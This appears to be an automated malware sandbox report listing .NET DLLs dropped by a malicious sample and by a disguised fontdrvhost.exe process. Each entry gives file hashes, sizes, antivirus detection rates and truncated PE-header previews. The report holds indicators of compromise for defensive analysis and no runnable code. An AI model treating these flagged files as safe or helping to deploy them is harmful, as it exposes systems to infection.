Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\DACRVJoK.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	41472
Entropy (8bit):	5.6808219961645605
Encrypted:	false
SSDEEP:	768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
MD5:	6CD78D07F9BD4FECC55CDB392BC5EC89
SHA1:	094DE32070BED60A811D983740509054AD017CE4
SHA-256:	16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
SHA-512:	5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 12% Antivirus: Virustotal, Detection: 7%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\DEcjsSrF.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	70144
Entropy (8bit):	5.909536568846014
Encrypted:	false
SSDEEP:	1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
MD5:	E4FA63649F1DBD23DE91861BB39C317D
SHA1:	25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
SHA-256:	CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
SHA-512:	C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12% Antivirus: Virustotal, Detection: 4%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\DQsQlVoZ.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	70144
Entropy (8bit):	5.909536568846014
Encrypted:	false
SSDEEP:	1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
MD5:	E4FA63649F1DBD23DE91861BB39C317D
SHA1:	25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
SHA-256:	CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
SHA-512:	C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12% Antivirus: Virustotal, Detection: 4%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\DdBAnNSZ.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12% Antivirus: Virustotal, Detection: 4%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\DnshUSLJ.log

Download File

Process:	C:\Users\user\Desktop\ZT3pxe2Tb4.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	64000
Entropy (8bit):	5.857602289000348
Encrypted:	false
SSDEEP:	768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
MD5:	5EE7E079F998F80293B3467CE6A5B4AE
SHA1:	3C0932D48F3542E9DFB09AD9E1FF70891A038532
SHA-256:	A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
SHA-512:	056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17% Antivirus: Virustotal, Detection: 4%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........\|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\ELDRalsN.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.629584586954759
Encrypted:	false
SSDEEP:	768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
MD5:	D478E398EFCD2BD9BDBFEA958F7BEE4F
SHA1:	24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
SHA-256:	32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
SHA-512:	0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 8% Antivirus: Virustotal, Detection: 4%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\EOpBrqDR.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38912
Entropy (8bit):	5.679286635687991
Encrypted:	false
SSDEEP:	768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
MD5:	9E910782CA3E88B3F87826609A21A54E
SHA1:	8DBC333244620EDA5D3F1C9EAA6B924455262303
SHA-256:	3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
SHA-512:	592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 9% Antivirus: Virustotal, Detection: 6%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\EQFIYaOX.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	50176
Entropy (8bit):	5.723168999026349
Encrypted:	false
SSDEEP:	768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
MD5:	2E116FC64103D0F0CF47890FD571561E
SHA1:	3EF08A9B057D1876C24FC76E937CDA461FAC6071
SHA-256:	25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
SHA-512:	39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17% Antivirus: Virustotal, Detection: 6%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\FWXhQVXq.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17% Antivirus: Virustotal, Detection: 20%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\FWzHsBqG.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	6.057993947082715
Encrypted:	false
SSDEEP:	3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
MD5:	16B480082780CC1D8C23FB05468F64E7
SHA1:	6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
SHA-256:	7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
SHA-512:	A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 9% Antivirus: Virustotal, Detection: 7%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

C:\Users\user\Desktop\FvSbvlyH.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	5.870612048031897
Encrypted:	false
SSDEEP:	768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
MD5:	3601048DFB8C4A69313A593E74E5A2DE
SHA1:	A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
SHA-256:	F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
SHA-512:	B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\GGiHtSpS.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	342528
Entropy (8bit):	6.170134230759619
Encrypted:	false
SSDEEP:	3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
MD5:	9DADB5C8A6FD5020275C31EE6BC61D63
SHA1:	ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
SHA-256:	80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
SHA-512:	EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\GPSaXBQY.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34304
Entropy (8bit):	5.618776214605176
Encrypted:	false
SSDEEP:	768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
MD5:	9B25959D6CD6097C0EF36D2496876249
SHA1:	535B4D0576746D88537D4E9B01353210D893F4D2
SHA-256:	4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
SHA-512:	C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t\|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\GspafaHt.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	342528
Entropy (8bit):	6.170134230759619
Encrypted:	false
SSDEEP:	3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
MD5:	9DADB5C8A6FD5020275C31EE6BC61D63
SHA1:	ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
SHA-256:	80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
SHA-512:	EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\HlvZPcYC.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	6.057993947082715
Encrypted:	false
SSDEEP:	3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
MD5:	16B480082780CC1D8C23FB05468F64E7
SHA1:	6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
SHA-256:	7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
SHA-512:	A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

C:\Users\user\Desktop\HuSZzPsz.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	342528
Entropy (8bit):	6.170134230759619
Encrypted:	false
SSDEEP:	3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
MD5:	9DADB5C8A6FD5020275C31EE6BC61D63
SHA1:	ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
SHA-256:	80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
SHA-512:	EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\HxFJRUCD.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.629584586954759
Encrypted:	false
SSDEEP:	768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
MD5:	D478E398EFCD2BD9BDBFEA958F7BEE4F
SHA1:	24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
SHA-256:	32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
SHA-512:	0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\IHwzgXOR.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38912
Entropy (8bit):	5.679286635687991
Encrypted:	false
SSDEEP:	768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
MD5:	9E910782CA3E88B3F87826609A21A54E
SHA1:	8DBC333244620EDA5D3F1C9EAA6B924455262303
SHA-256:	3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
SHA-512:	592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\IbKgwPay.log

Download File

Process:	C:\Users\user\Desktop\ZT3pxe2Tb4.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	41472
Entropy (8bit):	5.6808219961645605
Encrypted:	false
SSDEEP:	768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
MD5:	6CD78D07F9BD4FECC55CDB392BC5EC89
SHA1:	094DE32070BED60A811D983740509054AD017CE4
SHA-256:	16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
SHA-512:	5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\IdUqmnRm.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	5.636032516496583
Encrypted:	false
SSDEEP:	384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
MD5:	996BD447A16F0A20F238A611484AFE86
SHA1:	CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
SHA-256:	0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
SHA-512:	80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\IiRYzRio.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	70144
Entropy (8bit):	5.909536568846014
Encrypted:	false
SSDEEP:	1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
MD5:	E4FA63649F1DBD23DE91861BB39C317D
SHA1:	25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
SHA-256:	CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
SHA-512:	C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\IsWIxvZJ.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	40448
Entropy (8bit):	5.7028690200758465
Encrypted:	false
SSDEEP:	768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
MD5:	51B1964F31C557AE8C2B01EA164ABD9F
SHA1:	97C6E8FD1F21D644281FAF82D017969FE22423E4
SHA-256:	AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
SHA-512:	5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\JAxqeOaQ.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
